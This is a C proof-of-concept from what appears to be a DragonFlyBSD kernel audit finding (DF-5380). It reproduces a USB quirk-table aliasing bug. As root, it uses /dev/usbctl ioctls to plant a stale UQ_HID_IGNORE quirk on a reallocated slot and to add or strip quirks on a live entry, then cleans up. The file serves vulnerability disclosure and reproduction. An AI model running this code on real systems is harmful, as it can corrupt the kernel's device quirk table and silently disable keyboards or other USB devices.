⬢ DragonFlyBSD Kernel Audit
DF-5380 / quirk_alias.c
← back to finding ↓ download raw
/*
 * DF-5380 PoC - usb_quirk_get_entry() all-zero special case aliases the last
 * table slot (USB_DEV_QUIRKS_MAX-1) and the allocation path never clears
 * quirks[], so:
 *
 *  Scenario B ("stale quirk on reallocated slot"):
 *    1. USB_DEV_QUIRK_ADD with vid=pid=lo=hi=0 parks quirk "UQ_HID_IGNORE"
 *       in slot 383 (the reserved all-zero scratch). The slot still LOOKS
 *       free because (vid|pid|lo|hi)==0.
 *    2. Fill every remaining free slot with real dynamic entries. The last
 *       real entry lands in slot 383 WITHOUT clearing quirks[].
 *    3. USB_DEV_QUIRK_GET on slot 383 now shows a REAL vid/pid carrying the
 *       never-requested "UQ_HID_IGNORE".
 *
 *  Scenario A ("all-zero ADD/REMOVE aliases a live entry"):
 *    4. After slot 383 holds a real entry, an all-zero ADD appends a quirk
 *       to that real entry, and an all-zero REMOVE strips quirks from it.
 *
 * Run as root (ADD/REMOVE require SYSCAP_NODRIVER). Cleans up after itself.
 */
#include <sys/ioccom.h>
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

/* must match sys/bus/u4b/usb_ioctl.h exactly */
struct usb_gen_quirk {
	uint16_t index;
	uint16_t vid;
	uint16_t pid;
	uint16_t bcdDeviceLow;
	uint16_t bcdDeviceHigh;
	uint16_t reserved[2];
	char quirkname[64 - 14];
};

#define USB_DEV_QUIRK_GET	_IOWR('Q', 0, struct usb_gen_quirk)
#define USB_QUIRK_NAME_GET	_IOWR('Q', 1, struct usb_gen_quirk)
#define USB_DEV_QUIRK_ADD	_IOW ('Q', 2, struct usb_gen_quirk)
#define USB_DEV_QUIRK_REMOVE	_IOW ('Q', 3, struct usb_gen_quirk)

#define USB_DEV_QUIRKS_MAX	384
#define USB_SUB_QUIRKS_MAX	8

static int fd;

static int
quirk_get(uint16_t idx, struct usb_gen_quirk *q)
{
	memset(q, 0, sizeof(*q));
	q->index = idx;
	return (ioctl(fd, USB_DEV_QUIRK_GET, q));
}

static int
quirk_add(uint16_t vid, uint16_t pid, uint16_t lo, uint16_t hi, const char *name)
{
	struct usb_gen_quirk q;

	memset(&q, 0, sizeof(q));
	q.vid = vid;
	q.pid = pid;
	q.bcdDeviceLow = lo;
	q.bcdDeviceHigh = hi;
	snprintf(q.quirkname, sizeof(q.quirkname), "%s", name);
	return (ioctl(fd, USB_DEV_QUIRK_ADD, &q));
}

static int
quirk_remove(uint16_t vid, uint16_t pid, uint16_t lo, uint16_t hi, const char *name)
{
	struct usb_gen_quirk q;

	memset(&q, 0, sizeof(q));
	q.vid = vid;
	q.pid = pid;
	q.bcdDeviceLow = lo;
	q.bcdDeviceHigh = hi;
	snprintf(q.quirkname, sizeof(q.quirkname), "%s", name);
	return (ioctl(fd, USB_DEV_QUIRK_REMOVE, &q));
}

static void
dump_entry(int y)
{
	struct usb_gen_quirk q;
	int x;

	for (x = 0; x != USB_SUB_QUIRKS_MAX; x++) {
		if (quirk_get(y * USB_SUB_QUIRKS_MAX + x, &q) != 0) {
			printf("  entry[%d].sub[%d]: GET failed: %s\n",
			    y, x, strerror(errno));
			return;
		}
		if (x == 0)
			printf("  entry[%d]: vid=0x%04x pid=0x%04x lo=0x%04x hi=0x%04x\n",
			    y, q.vid, q.pid, q.bcdDeviceLow, q.bcdDeviceHigh);
		if (strcmp(q.quirkname, "UQ_NONE") != 0)
			printf("  entry[%d].sub[%d]: %s\n", y, x, q.quirkname);
	}
}

/* entry is free iff vid==0 and all 8 sub-quirks are UQ_NONE */
static int
entry_free(int y)
{
	struct usb_gen_quirk q;
	int x;

	for (x = 0; x != USB_SUB_QUIRKS_MAX; x++) {
		if (quirk_get(y * USB_SUB_QUIRKS_MAX + x, &q) != 0)
			return (-1);
		if (q.vid != 0 || strcmp(q.quirkname, "UQ_NONE") != 0)
			return (0);
	}
	return (1);
}

int
main(void)
{
	struct usb_gen_quirk q;
	int y, y0, nfill, k, rc, fail = 0;
	uint16_t lastvid;

	fd = open("/dev/usbctl", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open /dev/usbctl: %s\n", strerror(errno));
		return (1);
	}

	/* 0. sanity: quirk ioctl handler must be live */
	memset(&q, 0, sizeof(q));
	q.index = 0;
	if (ioctl(fd, USB_QUIRK_NAME_GET, &q) != 0 ||
	    strcmp(q.quirkname, "UQ_NONE") != 0) {
		fprintf(stderr, "USB_QUIRK_NAME_GET failed (usb_quirk loaded?)\n");
		return (1);
	}
	printf("[+] quirk ioctl handler live, name[0]=%s\n", q.quirkname);

	/* 1. find first free slot */
	y0 = -1;
	for (y = 300; y != USB_DEV_QUIRKS_MAX; y++) {
		if (entry_free(y) == 1) {
			y0 = y;
			break;
		}
	}
	if (y0 < 0) {
		fprintf(stderr, "no free slot found (table full?)\n");
		return (1);
	}
	nfill = USB_DEV_QUIRKS_MAX - y0;	/* slots y0..383 */
	lastvid = 0xA000 + nfill - 1;
	printf("[+] first free slot=%d, free slots=%d (filling vid 0x%04x..0x%04x)\n",
	    y0, nfill, 0xA000, lastvid);

	/* 2. Scenario B: all-zero ADD parks UQ_HID_IGNORE in scratch slot 383 */
	rc = quirk_add(0, 0, 0, 0, "UQ_HID_IGNORE");
	printf("[+] all-zero ADD UQ_HID_IGNORE -> rc=%d (%s)\n",
	    rc, rc ? strerror(errno) : "ok");
	if (rc != 0)
		fail |= 1;

	/* 3. fill every free slot with real entries */
	for (k = 0; k != nfill; k++) {
		rc = quirk_add(0xA000 + k, 0x0001, 0x0000, 0xFFFF,
		    "UQ_CFG_INDEX_1");
		if (rc != 0) {
			printf("[-] real ADD 0x%04x failed: %s\n",
			    0xA000 + k, strerror(errno));
			fail |= 2;
			break;
		}
	}
	printf("[+] added %d real entries; dumping slot 383:\n", nfill);
	dump_entry(383);

	/* 4. verify the stale quirk rode along on the real entry */
	{
		int found_stale = 0, found_real = 0;
		for (y = 0; y != USB_SUB_QUIRKS_MAX; y++) {
			if (quirk_get(383 * 8 + y, &q) != 0)
				break;
			if (strcmp(q.quirkname, "UQ_HID_IGNORE") == 0)
				found_stale = 1;
			if (strcmp(q.quirkname, "UQ_CFG_INDEX_1") == 0)
				found_real = 1;
		}
		if (q.vid == lastvid && found_stale && found_real) {
			printf("[+] SCENARIO_B_REPRODUCED: slot 383 holds real "
			    "vid=0x%04x with STALE UQ_HID_IGNORE + UQ_CFG_INDEX_1\n",
			    lastvid);
		} else {
			printf("[-] SCENARIO_B_NOT_REPRODUCED (vid=0x%04x "
			    "stale=%d real=%d)\n", q.vid, found_stale, found_real);
			fail |= 4;
		}
	}

	/* 5. Scenario A: all-zero ADD aliases the LIVE entry at slot 383 */
	rc = quirk_add(0, 0, 0, 0, "UQ_KBD_IGNORE");
	printf("[+] all-zero ADD UQ_KBD_IGNORE on live table -> rc=%d (%s)\n",
	    rc, rc ? strerror(errno) : "ok");
	dump_entry(383);
	{
		int found_alias = 0;
		for (y = 0; y != USB_SUB_QUIRKS_MAX; y++) {
			if (quirk_get(383 * 8 + y, &q) != 0)
				break;
			if (strcmp(q.quirkname, "UQ_KBD_IGNORE") == 0)
				found_alias = 1;
		}
		if (q.vid == lastvid && found_alias) {
			printf("[+] SCENARIO_A_REPRODUCED: all-zero ADD appended "
			    "UQ_KBD_IGNORE to LIVE entry vid=0x%04x\n", lastvid);
		} else {
			printf("[-] SCENARIO_A_NOT_REPRODUCED (vid=0x%04x alias=%d)\n",
			    q.vid, found_alias);
			fail |= 8;
		}
	}

	/* 6. all-zero REMOVE strips the alias quirk from the live entry */
	rc = quirk_remove(0, 0, 0, 0, "UQ_KBD_IGNORE");
	printf("[+] all-zero REMOVE UQ_KBD_IGNORE -> rc=%d (%s)\n",
	    rc, rc ? strerror(errno) : "ok");

	/* 7. cleanup: remove everything we added */
	for (k = 0; k != nfill; k++) {
		quirk_remove(0xA000 + k, 0x0001, 0x0000, 0xFFFF, "UQ_HID_IGNORE");
		quirk_remove(0xA000 + k, 0x0001, 0x0000, 0xFFFF, "UQ_CFG_INDEX_1");
	}
	quirk_remove(0, 0, 0, 0, "UQ_HID_IGNORE");
	quirk_remove(0, 0, 0, 0, "UQ_CFG_INDEX_1");
	quirk_remove(0, 0, 0, 0, "UQ_KBD_IGNORE");

	for (y = y0; y != USB_DEV_QUIRKS_MAX; y++) {
		if (entry_free(y) != 1) {
			printf("[-] CLEANUP_FAILED at slot %d:\n", y);
			dump_entry(y);
			fail |= 16;
			break;
		}
	}
	if (!(fail & 16))
		printf("[+] cleanup verified: slots %d..383 all free again\n", y0);

	close(fd);
	printf("[*] result: %s (fail mask 0x%x)\n",
	    (fail & 0x1f) ? "INCOMPLETE" :
	    ((fail & 4) || (fail & 8)) ? "NOT_REPRODUCED" : "REPRODUCED", fail);
	return ((fail & 0x1f) ? 2 : 0);
}